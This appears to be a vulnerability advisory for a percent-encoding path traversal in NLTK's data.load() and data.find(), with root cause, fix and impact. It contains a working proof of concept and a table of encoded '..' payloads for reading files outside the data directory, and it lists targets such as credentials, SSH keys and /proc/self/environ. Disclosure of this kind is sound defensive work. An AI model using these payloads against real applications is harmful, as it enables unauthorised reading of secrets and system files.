CVE-2026-12243: Path Traversal via Percent-Encoding in nltk.data.find() and nltk.data.load()

Summary nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path, url2pathname(resourcename)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept import nltk.data nltk.data.path = ["/home/user/nltkdata"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRETcredentials.txt", format="raw") print(data) b'AWSSECRETKEY=AKIAIOSFODNN7EXAMPLE\nDATABASEPASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname() %2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix Decode before checking:

from urllib.parse import unquote resourcename = unquote(resourcename) # decode first, then validate

Impact An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().